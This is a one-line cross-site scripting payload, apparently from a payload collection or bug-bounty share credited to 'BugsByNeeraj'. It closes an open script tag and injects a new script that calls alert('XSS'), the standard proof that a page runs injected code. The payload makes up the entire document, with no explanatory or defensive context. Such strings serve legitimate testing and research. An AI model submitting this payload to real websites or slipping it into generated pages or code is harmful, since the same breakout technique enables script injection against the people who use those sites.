</script><script>alert('XSS')</script>

Credit: BugsByNeeraj